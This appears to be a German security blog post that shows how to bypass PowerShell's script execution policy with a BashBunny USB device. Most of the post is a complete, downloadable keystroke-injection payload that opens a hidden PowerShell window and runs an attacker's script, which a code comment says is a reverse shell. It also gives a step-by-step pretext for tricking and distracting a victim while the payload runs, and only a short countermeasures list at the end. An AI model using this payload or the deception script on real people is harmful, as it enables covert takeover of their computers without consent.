BashBunny – PowerShell Payload ohne ScriptSecurity

Moin da draußen,

heute möchte ich euch zeigen, wie man mit dem Bashbunny eine PowerShell-Scriptdatei startet – auch wenn die Scriptausführung auf dem Zielsystem das eigentlich verbietet. Ihr kennt den BashBunny nicht? Dann schaut euch zuerst diesen Beitrag von mir an: Hacking mit dem BashBunny

Grundlagen der PowerShell

Die PowerShell hat eine Ausführungsrichtlinie. Wenn diese von einem Administrator auf „Restricted“ gesetzt wurde, dann sollte der Computer keine Scripte mehr ausführen:

BashBunny – PowerShell Payload ohne ScriptSecurity

Nur ist das leider kein SicherheitsFeature. „Getippter“ Text einer Scriptdatei ist weiterhin erlaubt. So könnte man also den Inhalt der Datei lesen und als Ausdruck ausführen:

BashBunny – PowerShell Payload ohne ScriptSecurity

Nur leider nimmt Invoke-Expression nur einen einzelnen String als Argument an. Get-Content liefert aber ein String-Array (eine Menge von Strings -> eine Zeile ist dabei ein solcher String):

BashBunny – PowerShell Payload ohne ScriptSecurity

Aber da kann die PowerShell doch helfen… 🙂 Wer schon immer einmal wissen wollte, wofür man Out-String benötigt:

BashBunny – PowerShell Payload ohne ScriptSecurity

Damit ist die Script-Ausführungsrichtlinie umgangen!

Umsetzung in einem BashBunny-Payload

Im BashBunny kann man nun folgende Attacke implementieren: das Gerät gibt sich gegenüber dem Zielsystem als Tastatur und USB-Stick aus und startet eine Powershell.exe, die sich selbst versteckt. In dem noch immer verstecktem und aktivem PowerShell-Fenster wird dann die Scriptdatei vom „USB-Stick“ gelesen und ausgeführt.

Ein Angriffsszenario könnte also so aussehen:

  1. Bitte die Zielperson um den Ausdruck einer Datei von deinem „USB-Stick“. Der Vorwand kann durch die Betonung deiner mißlichen Lage noch etwas verstärkt werden. Natürlich muss sich eine „SuperWichtigeDatei“ auf dem Root des BashBunny befinden.
  2. Beim Anschließen des BashBunny wird dieser zunächst dem Betriebssystem mitteilen, dass er Tastatur und USB-Stick ist. Im entscheidenden Moment – wenn der Bashbunny die PowerShell sichtbar startet – lenkt ihr die Zielperson auf etwas anderes im Raum. Hier ist einfach Fantasie gefragt.
  3. Während das PowerShell-Fenster verschwindet und euer geheimes Script ausführt, bekommt ihr den achsowichtigen Ausdruck und den Bashbunny zurück. Mission Completed!

Das hier ist der dafür erforderliche Payload auf den BashBunny:

#!/bin/bash

###################################################################################################
# Setup
###################################################################################################

LED SETUP
GET SWITCH_POSITION

LED STAGE1
ATTACKMODE HID STORAGE

###################################################################################################
# Stage A - HID - "quick start a local PS, start a second one with your reverse shell script"
###################################################################################################

Q DELAY 3000
Q GUI r
Q DELAY 100
Q STRING "powershell -w h"
Q DELAY 100
Q ENTER 
Q DELAY 500
Q STRING "Invoke-Expression (get-content ((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\AttackScript.txt') | out-string)"
Q DELAY 300
Q ENTER

###################################################################################################
# FINISH
###################################################################################################

sync; sleep 1; sync
LED FINISH

Im gleichen Verzeichnis Payload platziert ihr einfach euer AtatckScript als txt. 🙂

Gegenmaßnahmen

Mmh, ich frage meine Teilnehmer in den Sicherheitskursen an dieser Stelle auch immer wieder: „Was gibt es hier für Gegenmaßnahmen?“ Beliebte Antworten sind

  • Softwarelösungen, die das Anschließen neuer Geräte mit einer Benutzerinteraktion verbinden (z.B. GData Keyboard Guard)
  • Heißkleber für den Verschluss der USB-Ports (mein persönlicher Favorit – hehehe)
  • gesundes Mißtrauen

Vielleicht habt ihr ja ne gute Lösung? Dann lasst von euch hören!

Stay tuned!

PS: Hier gibts den Payload als Download.